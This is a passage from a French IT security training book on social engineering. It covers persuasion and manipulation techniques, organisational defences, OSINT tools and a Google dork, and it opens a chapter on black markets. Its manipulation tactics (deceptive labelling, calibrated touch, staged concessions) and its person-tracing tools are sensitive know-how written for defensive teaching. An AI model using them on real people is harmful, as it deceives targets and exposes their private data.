suivie d’une demande plus coûteuse. Cette seconde demande aura plus de chances d’être acceptée
si elle a été précédée de l’acceptation de la première en créant un phénomène d’engagement.

Même s’il est possible de combiner un amorçage et un pied dans la porte, la distinction doit être
claire. Un pied dans la porte ne requiert pas de présenter une fausse situation. Il nécessite en
revanche une action préparatoire engageante.

La première difficulté du processus consiste à bien calibrer la première requête pour qu’elle soit très
difficile à refuser d’une part, mais qu’elle engage suffisamment la victime d’autre part.

Un autre point sur lequel il faut être attentif est le timing. La seconde requête peut être quasi-
immédiate, ou venir plus tard, lors d’un second contact, mais il y a bien entendu un laps de temps
maximal.

Tout ne peut pas toujours être complètement modélisé et sur ces deux points l’expérience du
manipulateur fera la différence.

c. La porte au nez

Il s’agit de procédés manipulatoires consistant à formuler une requête réaliste mais trop importante
pour qu’elle soit acceptée avant de formuler la requête cible. Les portes au nez s’appuient
essentiellement sur la réciprocité et le biais de comparaison qui modifie la perception de la requête
finale.

On comprend donc bien qu’ici aussi le dosage de la première requête par rapport à la requête cible
revêt une importance particulière.

Mais il y a un point plus important encore : pour que le ressort de la réciprocité


fonctionne correctement, il est en effet nécessaire qu’il y ait une concession de la part du
manipulateur. Ce qu’il faut comprendre ici, c’est que cette concession est constituée par
l’acceptation du refus.

C’est donc ici que réside l’essentiel de l’art du manipulateur, qui doit exprimer son acceptation du
refus de sa requête avec justesse, c’est-à-dire sans paraître en diminuer le coût.

2. Les petites techniques de manipulation

Les grandes techniques de manipulation seules seraient souvent incomplètes. Une très grande part
de leur efficacité vient de l’ajout opportun d’une ou plusieurs petites techniques.

Il est donc important de comprendre sur quels ressorts jouent ces petites techniques afin de les
utiliser à bon escient pour renforcer le fonctionnement des grandes.

a. Pied dans la bouche, politesse, sympathie

Restrict
ed
L’explication de la dénomination de "pied dans la bouche" reste quelque peu obscure. La méthode
consiste à noyer la cible d’attentions, de politesse et de marques d’intérêt. Comme souvent, le
procédé n’est pas intuitif et on a tendance à penser qu’il sera facilement éventé.

L’expérience montre qu’il n’en est rien et que la méthode basée sur l’exploitation de la sympathie a
une efficacité passant largement sous le seuil conscient.

b. Contact, touché, regard

Nous regroupons ici l’ensemble des petites techniques destinées à établir un contact sensoriel avec
la cible. Il peut s’agir du ton de la voix, de regards qui se croisent ou de toucher. Comme toujours,
l’intensité doit être dosée, mais on peut aller sensiblement plus loin que ce que l’on aurait fait de
manière naturelle. Par exemple, un toucher de la main d’une durée inférieure à une seconde aura
tendance à rester sous la zone de conscience, mais il ne sera pas moins efficace.

D’une manière générale, l’utilisation du contact créera une tolérance de la présence de l’autre et un
sentiment de proximité. On comprend donc comment cela pourra favoriser la sympathie et la
réciprocité.

c. Pièges de la cohérence

Un des pièges omniprésents de la cohérence est ce que l’on nomme la dissonance cognitive. Il s’agit
d’une sensation d’inconfort en présence de deux cognitions inconciliables. Face à une dissonance
cognitive, nous allons mettre en jeu toutes les stratégies possibles pour la réduire. C’est cette
tendance que l’ingénieur social va pouvoir exploiter. La notion de dissonance cognitive a donné lieu à
une théorie largement documentée.

Parmi les autres phénomènes liés à la cohérence, la rationalisation est sans doute l’un des plus utiles
à l’ingénieur social. La rationalisation est la démarche qui consiste à trouver une justification a
posteriori à une action engagée. Cette démarche satisfait notre besoin de schémas logiques et
permet aussi de réduire la dissonance cognitive provoquée par l’action en question.

La manœuvre manipulatoire consistera à exprimer pour la cible, et idéalement lui faire valider ou
réexprimer, les raisons qui l’ont conduit à agir en premier lieu. Les raisons formulées devront donc
être choisies avec précision de manière à renforcer les futurs comportements attendus.

Par construction, cette technique est tout particulièrement utile en complément du pied dans la
porte.

Il faut noter enfin une technique particulièrement "élégante" qui est celle de la rationalisation en
acte. Ici, la rationalisation n’est pas verbalisée, mais c’est un comportement en cohérence avec le
précédent qui viendra renforcer la cohérence de l’ensemble.

d. Étiquetage

L’étiquetage est une technique très utile, qui consiste à faire une déclaration concernant la cible dans
le but de renforcer les ressorts utilisés dans le cadre d’une grande technique. L’intérêt est de faire
prendre à cette déclaration un aspect performatif, c’est-à-dire que la déclaration devienne autant
que possible auto-réalisatrice : "Vous êtes sympathique", "Dans la boîte, on a l’esprit d’équipe",
"Nous savons pourquoi nous faisons ça", "Vous êtes un homme courageux", etc.

Bien sûr, l’étiquetage doit rester subtil et crédible, même si l’allégation est fausse.

Restrict
ed
Il s’agit de faire un constat sur la personne cible de manière à renforcer la cohérence de sa prise de
décision. Il faut donc choisir un étiquetage qui sera facilement accepté par la cible, soit parce qu’il est
gratifiant, soit parce qu’il réduit la dissonance cognitive ressentie.

Le moment pour utiliser l’étiquetage doit aussi être choisi avec attention afin de ne pas nuire à la
cohérence de la grande technique employée. Un étiquetage à la suite de la première requête d’une
porte au nez pourrait par exemple s’avérer totalement contre-productif.

e. Déclaration de liberté

La déclaration de liberté fait partie des techniques redoutables. Ses effets sont multiples et puissants,
même lorsqu’elle est détectée.

Il s’agit par exemple du fameux : "Tu fais comme tu veux."

Comme pour l’étiquetage la déclaration de liberté a un important aspect performatif. En déclarant la


cible libre nous rajoutons effectivement à son sentiment de liberté ; plus encore, nous contrecarrons
le sentiment de perte de liberté. La déclaration peut donc souvent être gratifiante en soi, mais la
manœuvre possède d’autres aspects.

Elle vient tout d’abord en renforcement du principe même de manipulation, car cette simple
déclaration va favoriser l’intériorisation et la rationalisation des moteurs d’influence. Si on est libre,
c’est que notre motivation est interne.

Elle peut aussi engendrer une forme de culpabilisation, car si je suis libre, je suis responsable.

La déclaration de liberté trouve son utilité optimum juste avant la prise de décision, soit de la
requête cible, soit d’une requête préparatoire et permet souvent le passage à l’acte.

f. Quelques petites techniques à connaître

Fausse concession ou "un peu, c’est mieux que rien"

Technique qui consiste simplement à préciser que faire un petit geste, c’est mieux que de ne rien
faire du tout. Le fait de réduire ses attentes va être considéré comme une concession nécessitant
réciprocité et donc favorisant le comportement attendu.

Conditionnement affirmatif

Technique qui consiste à poser un certain nombre de questions préliminaires qui appelleront un
"oui" avant de faire la requête cible. Le taux de réussite de ce procédé est assez faible par rapport
aux autres méthodes. Il est donc cité uniquement pour mémoire.

Cohérence artificielle

Technique qui consiste à créer de la cohérence artificielle en rajoutant des mots de liaison indiquant
la causalité, sans lien logique, sans vraie justification rationnelle ou sans valeur ajoutée sémantique.

On comprend aisément que le succès d’un "Puis-je passer devant vous à la photocopieuse ?" soit
amélioré par un "C’est pour les participants à une réunion de direction en cours". Il faut savoir qu’il
sera aussi amélioré par un "Parce que je suis pressé" et même à l’extrême par un "Parce que j’ai des
photocopies à faire" !

Le réel besoin de cohérence propre à l’auteur l’a toujours refréné dans l’utilisation de cette méthode,
mais le lecteur doit pouvoir se sentir libre de le faire s’il le souhaite.

Restrict
ed
Crainte puis soulagement

La crainte puis le soulagement correspond à la méthode classique du good cop - bad cop. Le nom de
la méthode est assez explicite : il s’agit de faire peur à la cible avant de la rassurer. C’est le
soulagement qui provoque la soumission à la requête et non la crainte. Il est possible de l’utiliser en
ingénierie sociale si les circonstances s’y prêtent. Toutefois, la phase crainte qui s’apparente à
l’intimidation voire à la menace est souvent hors périmètre pour des raisons déjà évoquées.

Pied dans la mémoire

Le pied dans la mémoire est en fait un pied dans la porte plus élaboré. Il s’agit, après le premier acte
préparatoire engageant du pied dans la porte, de faire appel à la mémoire du sujet pour qu’il y
trouve des souvenirs venant renforcer son engagement actuel en se rappelant des cas dissonants où
il ne l’a pas fait.

L’efficacité statistique de la méthode a été prouvée, mais les applications en ingénierie sociale sont
moins courantes.

Ce n’est pas tout

La technique du "ce n’est pas tout" est une technique classique en vente qui consiste à diminuer le
coût apparent ou relatif d’une requête, par exemple en offrant plus pour le même prix. Là encore, les
applications en ingénierie sociale seront rares mais pas impossibles.

3. Exercices

a. Croiser grandes et petites techniques

En s’appuyant sur les moteurs sous-jacents, effectuez pour vous un tableau de synthèse indiquant,
phase par phase, quelles grandes et petites techniques se combineront le mieux en le justifiant.

b. Croiser techniques et ressorts

En s’appuyant sur le modèle du cerveau "triunique", présenter dans un tableau les techniques de
manipulation phase par phase au regard des ressorts. En conclure les techniques de self-défense
applicables contre chaque technique dans les différents cas.

c. Script de camouflage final

Expliquer comment les biais cognitifs de la mémoire peuvent être utilisés pour camoufler une
"élicitation" immédiatement après avoir obtenu l’information recherchée.

Restrict
ed
Savoir "patcher" les failles humaines
Bien entendu, les éléments présentés précédemment ont pour but essentiel d’être capables de
comprendre les attaques d’ingénierie sociale afin d’y trouver les réponses les plus adaptées.

Ainsi, il faut être conscient que face à l’utilisation de plus en plus courante de l’ingénierie sociale, les
stratégies de sécurité doivent prendre en compte le système d’information dans sa globalité et
s’appuyer d’une part sur la sensibilisation, l’information et la formation du personnel, d’autre part
sur l’amélioration des aspects organisationnels et la maturité réelle de l’organisation à protéger.

Nous le savons, tout être humain peut être manipulé. Il sera donc indispensable de sensibiliser les
membres de l’organisation sur les techniques d’attaque et de défense présentées ici. Cela passe bien
sûr, tout d’abord, par des séances d’information ciblant la totalité de l’organisation. Rien de nouveau
ici, sauf qu’en pratique cela pose souvent des difficultés.

D’une part, la taille de l’organisation et le renouvellement fréquent de ses membres augmentent la


charge de la tâche.

Les techniques de manipulation et de self-défense restent encore très peu diffusées, ce qui veut dire
que les humains arrivent presque toujours "non patchés".

Par ailleurs, les personnes les plus exposées en raison de leur position hiérarchique sont aussi celles
qui peuvent facilement juger inutile d’être formées sur le sujet.

Enfin, la mémoire n’est pas parfaite et on ne pourra jamais considérer qu’une personne ayant fait
l’objet d’une sensibilisation ou d’une formation est pour autant immunisée aux attaques par
ingénierie sociale.

En revanche, un avantage pour le défenseur est que les vulnérabilités de l’humain sont maintenant
bien connues et peu évolutives. En clair, il n’existe pas de Jeux Olympiques pour les failles humaines.
Seule la manière de les exploiter changera par l’utilisation les vecteurs technologiques des plus
modernes.

1. Volonté politique

Une étude de risques détaillée préalable devra permettre de réfléchir au niveau de défense à mettre
en œuvre. Nous savons que la SSI n’apporte pas de valeur ajoutée directe, il est donc important pour
toute organisation de ne pas y surconsommer de ressources. Mais dans la plupart des cas, le risque
de surprotection est très faible car les ressources habituellement consacrées à la lutte contre
l’ingénierie sociale sont souvent minimales.

Cette étude devra donc conduire à l’élaboration d’une politique adaptée aux risques et d’une
stratégie documentée, puis à la mise en place de moyens et de ressources structurels, financiers,
humains et organisationnels.

Cela ne se fera qu’avec une volonté politique continue. À cet effet, il sera indispensable de recueillir
l’engagement formel d’un décideur (tant mieux si c’est vous) mandatant un responsable (tant pis si
c’est vous) et lui donnant des moyens concrets.

La défense d’une organisation contre l’ingénierie sociale passera par la mise en place de
changements organisationnels et la mobilisation de ressources. Ces changements
dépendront souvent de personnes pour qui la SSI en général et le Social Engineering - L’ingénierie
sociale en particulier sera la dernière des priorités. Une solution consisterait à utiliser la persuasion à
travers un argumentaire précis concernant les risques.

Restrict
ed
Mais nous savons maintenant que la persuasion est bien moins efficace que la manipulation. Pour
obtenir ces engagements, les techniques de manipulation présentées dans ce chapitre seront
parfaitement adaptées.

2. Méthodologie

a. Professionnalisme, qualité, procédures, maturité

Il n’y a sans doute pas d’autre moyen. La protection contre les attaques d’ingénierie sociale passe par
les méthodologies professionnelles. Il est donc indispensable de rappeler que, si elles existent dans
l’organisation à défendre, il sera plus efficient de :

 s’appuyer sur une méthodologie projet ;

 s’appuyer sur les structures qualité et SSI existantes ;

 s’appuyer sur des règles et des procédures écrites.

b. Mesure : tests, audit, retex de détection

Nous abordons ici un point sensible de la défense contre l’ingénierie sociale. Les audits et les tests
sont des éléments qui apporteront des éléments de mesure concrets pour l’amélioration de la
sécurité de l’organisation.

Nous devons constater que la plupart des tests de pénétration par ingénierie sociale proposés par
des entreprises de sécurité reprennent des procédés techniques
classiques, phishing, spearphishing, mediadropping et tailgating, avec souvent peu de
discernement ni d’étude stratégique préalable.

Or, idéalement, les tests de pénétration par ingénierie sociale devraient suivre la méthode décrite
dans ce chapitre.

Il sera cependant indispensable de prendre les mêmes précautions légales que pour un test de
pénétration technique. Avoir une autorisation et un mandat clair, prévenir les personnes au bon
niveau, ne pas faire de dégâts et rester réaliste dans les méthodes employées sont quelques bonnes
pratiques à respecter.

Il sera aussi nécessaire de garder en mémoire la très grande efficacité des méthodes de
manipulation, afin d’éviter de mettre les cibles en position délicate. En effet, même en gardant
anonymes les rapports de test, il sera très souvent possible de reconnaître les personnes ayant
donné tel ou tel type d’information.

Il est donc particulièrement malvenu de faire des tests de pénétration avant d’avoir mis en place les
procédures de défense et sensibilisé les employés. L’objet du test n’est pas de découvrir des failles
qui, de toute façon, existeront, mais de vérifier que les mesures correctives sont bien appliquées.
Même là, il sera nécessaire de rester extrêmement prudent et mesuré dans toute conclusion mettant
en cause la responsabilité des personnes, d’abord parce que les mesures à prendre sont toujours au
moins autant organisationnelles qu’individuelles, mais aussi parce qu’il en va de l’efficacité des
retours d’expérience et de détection d’intrusion réelle.

c. Optimisation et changement de paradigme

Bien évidemment, les retours d’expérience et la remontée d’information sur les intrusions et
tentatives d’intrusion réelles ont au moins autant d’importance que les résultats de tests. Autant il
est relativement facile de recueillir des informations après une tentative d’intrusion détectée, autant

Restrict
ed
une attaque complète et bien menée fera rarement l’objet d’un compte-rendu. D’abord parce que,
d’une part, elle sera restée discrète, mais surtout parce que même si la victime a réalisé a posteriori
avoir été la cible d’une "élicitation" malveillante, le plus souvent elle craindra plus les conséquences
de son compte-rendu que celles de son acte.

Donc, au-delà de l’importance des actions concrètes à mener, le changement de paradigme face à
l’erreur individuelle est un facteur fondamental dans une politique de défense.

3. Actions concrètes à mener

a. Documenter une politique de classification de l’information

Lorsque la quantité d’information traitée par le système d’information à protéger le justifie, il devient
indispensable de disposer d’une politique de classification de l’information. Il n’y a pas de règles
absolues et la classification doit correspondre aux caractéristiques et aux besoins de l’organisation.

Il est alors important que le niveau de confidentialité des documents soit clair et que les personnes
sachent qu’il existe et à quoi il correspond.

"Bon à publier", "Sous embargo", "Document de travail", "Confidentiel Ressources Humaines",


"Secret d’entreprise", "Document interne", "Éléments de langage officiels" sont des exemples de
classification de documents pouvant être valides en fonction des diverses situations.

Bien sûr, ne l’oublions pas, pour avoir une réelle utilité, cette classification des informations doit aller
de pair avec une politique d’habilitation. Ainsi, les autorisations d’accès aux diverses informations
classifiées doivent être documentées pour chaque personne et chaque service et doivent être
établies à partir de leurs besoins réels de connaître ces informations.

b. Contrôler les "input/output" (entrée/sortie d’information)

L’action de l’ingénieur social se fera par des canaux d’information courants. Il sera donc utile d’avoir
une politique documentée sur le sujet.

En particulier, certaines bonnes pratiques peuvent permettre de simplifier le travail de défense.

Spécialiser, centraliser et surveiller les I/O (Input/Output)

Dans les organisations de grande taille, spécialiser certains services dans la communication, les
relations publiques ou les réponses aux sollicitations diverses permettra de concentrer les formations
dans le domaine de la lutte contre les intrusions.

Pour les organisations de plus petite taille, la réponse devra se situer au niveau de la méthodologie
organisationnelle et de procédures claires, généralisées et appliquées dans toute diffusion
d’information.

Vérifier les identités et le besoin de connaître

L’authentification et la vérification du degré d’accréditation (s’il y a lieu) sont des habitudes à


prendre et à faire prendre à chaque fois qu’un agent est sollicité pour transmettre une information
en dehors du cadre des procédures professionnelles établies et documentées. Sa nécessité doit être
comprise à tous les niveaux hiérarchiques de l’organisation et en particulier bien sûr par les
personnes pouvant faire l’objet d’une usurpation d’identité.

Réorienter les prises de contact douteuses

Restrict
ed
Idéalement, l’organisation disposera d’un service spécialisé capable de traiter au mieux les tentatives
d’intrusion. Quoi qu’il en soit, une bonne pratique est de systématiquement proposer de rediriger ou
de faire rappeler le contact douteux. Ces deux opérations doivent faire partie des procédures
courantes.

c. Sensibiliser le personnel

On ne rappellera jamais assez l’importance de la mise en place de séances de sensibilisation,


d’information ou de formations dans le domaine de la sécurité des systèmes d’information. Dans le
cadre de l’ingénierie sociale, pas de firewall, l’humain sera souvent le dernier et le seul rempart.
L’instruction du personnel dans ce domaine est donc bien évidemment d’autant plus importante
pour permettre la transmutation de ce qui semble être la plus grande faille en ce qui peut devenir la
meilleure défense.

Ainsi, la diffusion des techniques, des ressorts de la manipulation ainsi que les bases de la self-
défense présentées dans ce chapitre seront un plus.

Bien évidemment, les présentations devront être régulières, renouvelées et généralisées à tout le
personnel et à tous les niveaux de l’organisation sans exception, même si elles pourront être
adaptées.

Dans un premier temps, et pour le plus grand nombre, montrer comment le respect de procédures
simples, quand elles existent, peut arrêter la plus grande partie des attaques sera toujours essentiel.
Mais il sera aussi indispensable d’aller plus loin, au pire uniquement avec les personnes amenées à
manipuler des informations sensibles, au mieux avec l’ensemble des membres de l’organisation.

d. Favoriser la remontée de l’information

Nous le savons, une bonne attaque d’ingénierie sociale est par définition difficile à détecter. Il est
donc important de préparer les cibles potentielles en leur donnant les outils théoriques et pratiques
favorisant la perception du mécanisme des attaques et l’adoption des réponses appropriées.

Il faudra aussi établir des circuits clairs et connus de remontée de l’information. Qui appelle-t-on
lorsque l’on a détecté ou suspecté une intrusion ? Quel compte-rendu fait-on ? Etc. Une fois de plus,
on devra s’appuyer sur des réponses organisationnelles et procédurales.

Il est en effet très probable qu’une attaque détectée ne soit en fait qu’une partie d’une attaque plus
complexe, il est alors essentiel que les mesures de protection adaptées soient prises au plus tôt, en
tout cas avant que les informations cibles n’aient été extraites.

Un des problèmes de la remontée d’information sera lié aux biais de la mémoire. C’est donc un
aspect à prendre en compte. La généralisation de procédés comme, par exemple, la prise de notes
systématique lors de contacts et de requêtes, voire l’enregistrement des conversations lorsque c’est
légalement et techniquement possible, sont autant de solutions simples au problème de la faillibilité
de la mémoire humaine.

Abordons enfin un point crucial concernant la remontée d’information. La crainte de la sanction est
le facteur qui contribue sans doute le plus à l’absence de compte-rendu dans le cadre d’incidents, et
ce même lorsque la non-sanction des victimes est affichée dans l’organisation. En effet, les
conséquences tacites sur les personnes ayant laissé sortir de l’information persisteront presque
toujours (jugement, notation, stigmatisation, voire licenciement).

Restrict
ed
Ainsi, si l’on souhaite réellement mettre en œuvre une politique permettant une optimisation de ses
défenses contre l’ingénierie sociale, il est important de l’accompagner d’une politique claire,
rationnelle et généralisée de non-sanction des erreurs du même type que ce qui existe par exemple
dans le transport aérien moderne (cf. "Les décisions absurdes II", de Christian Morel (9)).

Il ne s’agit pas bien sûr de favoriser l’irresponsabilité ou le sabotage en laissant des


personnes recommencer la même erreur, mais simplement d’être capable de détecter, d’analyser et
de corriger la faille humaine.

Sans cela, les attaques des ingénieurs sociaux expérimentés continueront à être camouflées d’elles-
mêmes grâce à la crainte d’une sanction. N’oublions pas que ce camouflage est un élément essentiel
à l’attaquant pour continuer à se déplacer de proche en proche, d’informations leviers en
informations exploitables.

Il s’agirait bien sûr, pour la plupart des organisations, d’un changement complet de paradigme qui
nécessiterait en leur sein de profondes modifications des modes de pensée et des comportements.
Cela pourrait facilement paraître impossible sans l’aide des techniques de manipulation présentées
dans ce chapitre.

4. Exercices

a. Manipuler les décideurs

En utilisant les techniques de manipulation, écrire plusieurs exemples de script d’une manipulation
destinée à obtenir un engagement du directeur d’une entreprise pour la mise en place de moyens de
lutte contre l’ingénierie sociale.

b. Bloc-notes de réponse au téléphone

Élaborer un formulaire de réponse au téléphone avec pour objectif de détecter les


attaques potentielles d’une part, et d’en garder trace d’autre part, sans enregistrement des
conversations. Expliquer en quoi cela contribuera à la maîtrise des flux d’informations entrants et
sortants d’une part, à la remontée d’informations fiables d’autre part.

c. Remontée d’information

Rédiger une fiche de consignes décrivant de manière procédurale les réactions à avoir face à une
attaque d’ingénierie sociale en favorisant la remontée d’information pertinente.

Restrict
ed
OSINT
Qui dit social engineering, dit obligatoirement recherche d’informations via de multiples sources. De
cette constatation, l’utilisation de techniques d’OSINT est un élément indispensable. OSINT
signifie Open Source Intelligence. Cet anglicisme regroupe un ensemble de techniques et d’outils qui
permettent de collecter des renseignements sur une personne, une entreprise, une situation
économique dans un pays.

Des recherches et un regroupement d’informations proposés par Internet. Du Renseignement de


Source ouverte : réseaux sociaux, moteurs de recherche, sites web... L’OSINT s’intègre dans trois
autres grands points à prendre en compte :

 Open Source Data (OSD) : les données récupérables à partir de sources dites primaires : une
lettre trouvée dans une poubelle, une photographie sur un réseau social, un message sur un
répondeur... Des informations qu’il faudra affiner avec les autres points.

 Open Source Information (OSIF) : on pourra baptiser l’OSIF comme étant une "revue de
presse" : le regroupement d’informations tirées de journaux, de livres, de conférences, de
rapports extraits d’universités, de conférences de presse, etc.

 Validated OSINT : connue sous le nom d’OSINT-V, cette étape classifie les
informations collectées comme étant très sûres. Parmi ces documents OSINT-V, les notes
internes, réalisées par exemple par les services de renseignement, les ambassades, que
reçoivent les chefs d’états. On parlera dans ce cas d’informations à haut degré de sécurité.

Outils

Il existe des centaines de logiciels dédiés à l’OSINT. Ils permettent de regrouper des informations, de
collecter de la donnée sur une personne. Attention cependant, le meilleur des logiciels restera votre
cerveau. Voici sept de ces outils. Votre curiosité et vos entraînements feront le reste.

Google

Qu’on le veuille ou non, Google est l’outil indispensable à placer dans votre boîte à outils OSINT. Il
permet, à partir de commandes baptisées dork, d’extraire de l’information pouvant être très ciblée.
Voici un exemple. Dans la barre de recherche du moteur de recherche américain, tapez la commande
INURL:.txt @orange.fr. Nous prenons ici l’exemple @orange.fr, mais vous pouvez proposer à la
recherche toutes les informations de votre choix. Vous pouvez y placer, par exemple, le nom de votre
entreprise. Nous allons vous traduire cette commande. INURL demande à Google de chercher dans
toutes les URL qu’il possède en mémoire des adresses web avec un fichier texte .TXT. La commande
globale vous indiquera tous les sites proposant des fichiers textes comportant des adresses
@orange.fr.

https://www.google.com

Shodan

Shodan propose les résultats les plus poussés pour les spécialistes de la sécurité informatique.
Soyons honnêtes, pas seulement eux. De nombreux pirates exploitent cet outil extrêmement
puissant pour rechercher, par exemple, des informations relatives aux objets connectés :
ordinateurs, serveurs, NAS, feux de signalisation, caméras de vidéosurveillance...

https://www.shodan.io

Restrict
ed
Creepy

Cet outil porte bien son nom. Ce "terrifiant" programme permet de géolocaliser une personne, un
lieu, via les informations de géolocalisation en source ouverte que peuvent fournir les réseaux
sociaux, les plateformes de sauvegarde de documents (images, etc.). Creepy tourne sous Windows et
Linux.

https://www.geocreepy.com/

Spyse

Petit frère de Shodan, Spyse offre un nombre d’informations concernant une "cible" loin d’être
négligeable. Vous commencez avec un nom de domaine et vous pouvez pousser votre enquête en
vérifiant ensuite vulnérabilités, adresses IP, DNS, noms de domaines sur la même adresse IP, etc.

https://spyse.com/

Epieos

L’outil proposé par Epies va vous permettre d’extraire toutes les informations cachées derrière une
adresse électronique. Dans la barre baptisée Enter the target email address, vous entrez le courriel
cible. Epieos va ensuite vous fournir, très rapidement l’identité cachée derrière ce courriel, sa date
de création, son utilisation possible dans Google, l’ID Google, photos et calendrier accolés à cette
adresse, les réseaux sociaux.

https://tools.epieos.com

OSINT Framework

Comme son nom l’indique, OSINT Framework propose un ensemble d’outils pour lancer des
recherches. Par exemple, vous cherchez une identité, il vous suffit de cliquer sur Username, puis
OSINT Framework vous propose les logiciels et les sites qui vous permettront de remonter à votre
source. Ce site web offre des dizaines de possibilités, par secteur de recherche : adresses e-mail,
noms de domaine, archives, etc.

https://osintframework.com/

OSINT Collection

Dans la même lignée d’OSINT Framework, OSINT Collection regroupe des centaines d’outils dédiés à
la recherche d’informations via des sources ouvertes. Classée par qualité (médias sociaux, moteurs
de recherche spécialisés), cette collection permet de travailler sur des outils atypiques, comme des
moteurs de recherche russe ou chinois tels que VK ou encore Qzone et Renren.

https://start.me/p/b5Aow7/asint_collection

Cette liste est loin d’être exhaustive. Pour chercher plus loin encore, n’hésitez pas à vous pencher sur
SpiderFoot (code Python), Recon-Ng (Linux) ou encore The Harvester (Kali Linux).

Restrict
ed
Bibliographie
(1) The Selfish Gene - Richard Dawkins - ISBN 13 : 978-0-19-929115-1

(2) Introduction biologique à la psychologie - Jean Pellet et Jean-Claude Orsini - Éditions Bréal

(3) Psychologie cognitive - Collection Grand Amphi - Éditions Bréal ISBN : 2 84291 663 8

(4) De la nouvelle hypnose à l’hypnose psychodynamique, Initiation et pratique - Jean Becchio -


Charles Jousselin

(5) Spiral Dynamics : Mastering Values, Leadership and Change - Don Edward Beck, Christopher C.
Cowan - Éditeur : Wiley-Blackwell - ISBN-13 : 978-1405133562

(6) Influence : The Psychology of Persuasion - Robert B. Cialdini (PhD) - Éditeur : HarperBusiness
ISBN-13 : 978-0061241895

(7) Concept fondamentaux de la psychologie sociale - Gustave-Nicolas Fisher - Éditions Dunod - ISBN :
978-2-10-054489-9

(8) Petit traité de manipulation à l’usage des honnêtes gens - Jean-Léon Beauvois et Robert-Vincent
Joule - Éditeur : Presses universitaires de Grenoble - ISBN-13 : 978-2706118852

(9) Les décisions absurdes I, II. Sociologie des erreurs radicales et persistantes - Comment les éviter -
Christian Morel - ISBN-13 : 978-2070763023 et 978-2070456239

Restrict
ed
Black Market

Introduction
La prise en compte du Black Market dans un plan global lié à la sécurité informatique est devenue
une obligation pour une entreprise qui souhaite se protéger, sécuriser ses actifs et sa pérennité
économique, sans oublier ses clients et son image. Bien évidemment, ce chapitre n’a pas pour
mission de vous inviter à participer à ce Black Market en vendant ou en achetant les contenus
commercialisés (bases de données piratées, identités numériques usurpées, etc.). Notre mission :
vous permettre d’être un veilleur attentif de ce marché noir 2.0 de l’illicite.

Ce chapitre vise à expliquer pourquoi il est indispensable de réaliser une veille de cet environnement
et à vous faire découvrir ce qu’est le Black Market : pourquoi ne faut-il pas le confondre avec le Dark
Web/Deep Web ? Ce que l’on peut y trouver, son fonctionnement, ce qui est vendu et acquis, et
comment orchestrer une veille efficace dans cet étrange milieu informatique.

Deep Web, Dark Web, Darknet, Black Market


Dès que l’on commence à parler du Black Market, le vocabulaire, sa situation géographique
numérique, sa présence fantasmée ou non se mélangent. Il n’est pas rare de lire que le Black Market
se cache dans le Deep Web. Que les pirates commercialisent leurs forfaits dans un Dark Web caché
dans un darknet qui protège leur business. Si dans la forme le raccourci peut être entendu, dans le
fond nous sommes à mille lieues de la réalité.

D’abord, le Deep Web n’a rien de dangereux et de trouble. Il s’agit ni plus ni moins des données qui
ne sont pas référencées sur le Web. Par exemple, une base de données qui gère votre site ; ce blog
qui n’est destiné qu’à votre famille ; ces courriels que vous envoyez et recevez ; ce forum qui réclame
des identifiants de connexion pour accéder à ses contenus, etc. Tout ceci n’a pas pour mission d’être
référencé. Les moteurs de recherche qui parcourent la toile avec leurs robots (spider) fouineurs n’ont
pas la possibilité de les cataloguer pour les retrouver à la première demande. Bref, ces données sont
dans le Deep Web.

Avant de nous lancer dans cette visite du Black Market et de son utilisation dans une politique de
veille, revenons rapidement sur les différentes couches du Web. D’abord, le plus connu, le Web
"commun", le Clear Web. Facebook, Twitter, YouTube en font partie. Il se trouve en quelques
secondes via l’ensemble des moteurs de recherche du globe.

Ensuite, le Web de surface. Lui aussi est simple d’accès, mais on y trouve des contenus plus
"underground" comme Reddit, jetable.org (permet de créer une adresse mail à durée limitée) ou
tout simplement des bases de données SQL, l’hébergeur de votre blog, l’intranet de votre entreprise,
etc. En ce qui concerne le darknet, même confusion. Le darknet est un réseau de communication de
personne à personne (friend-to-friend). Il n’a rien de dangereux ou d’illégal. C’est son utilisation à des
fins malveillantes qui perturbe sa compréhension. C’est un peu comme dire que la voiture est
dangereuse car des individus l’utilisent à l’occasion d’un braquage de banque.

Dans un troisième temps, le Bergie Web, le lien entre le Web et le Deep Web. On y croise par
exemple The Pirate Bay. Le moteur de recherche de TPB dirige les utilisateurs vers le Deep Web, où
se trouvent les liens torrent. Les forums anonymes 4chan, ou encore des serveurs FTP en font aussi
partie.

Restrict
ed
Quatrième couche, le Web profond, le fameux Deep Web dans lequel se trouvent plusieurs autres
sous-niveaux dont celui qui nous intéresse dans ce chapitre, celui des markets et autoshops du Black
Market (Alphabay, SilkRoad…).

Black Market, entre le visible et l’invisible


Le Black Market tente de se retrouver dans cet espace invisible, du moins pourrions-nous le penser
au premier abord. Ce Web invisible est apparu pour la première fois dans le vocabulaire informatique
en 1994, de la bouche de l’écrivain Jill H. Ellsworth. Le Black Market évolue dans le Deep Web, et plus
précisément dans le Dark Web, le Dark Web étant lui-même une partie du darknet. Le darknet
regroupe toutes les activités numériques organisées par un nombre limité de personnes n’évoluant
pas obligatoirement dans le Dark Web, le Dark Web demandant obligatoirement un affichage de
pages web. Compliqué ?

Le Dark Web est une infime partie de ce qui se cache dans le Deep Web sous forme de pages web
accessibles via des outils comme Tor, Freenet, IP2, etc.

Le Dark Web ne se référence pas via un moteur de recherche ; du moins, normalement. Nous en
reparlerons plus loin dans ces pages. Dans le darknet, on retrouve donc, par exemple, des mails
chiffrés de pirate à pirate ou encore des boutiques du Black Market. Des boutiques qui, pour vivre,
doivent évoluer dans le Dark Web, seul endroit où elles peuvent exister.

Bref, s’il fallait faire simple, le Black Market n’est rien d’autre qu’une boutique proposant des
données piratées comme des bases de données volées sur un site web infiltré, des clones de cartes
bancaires, des faux documents administratifs (de la fiche de paie en passant par des permis de
conduire et autres fausses factures), des produits stupéfiants, des modes d’emplois et logiciels
dédiés au piratage informatique sous la forme de pages web. Pour les plus extrêmes de ces
boutiques, armes et munitions peuvent être acquises. L’idée étant bien évidemment que cela se
passe de la façon la plus anonyme possible.

Il existe plusieurs "tailles" de Black Market. La simple boutique est tenue par une seule personne. Elle
est baptisée "autoshop". Cet espace propose un type précis de produits : drogue, faux documents,
etc. Le "marketplace" regroupe quant à lui plusieurs "autoshops" comme pourrait le faire une galerie
marchande dans un hypermarché que nous trouvons dans nos villes. Sauf que les galeries
marchandes du Black Market ne commercialisent que de l’illégal. Dans un rapport diffusé en 2015,
l’éditeur de solutions de sécurité informatique GData (https://www.gdata.fr/news/2015/06/etude-g-
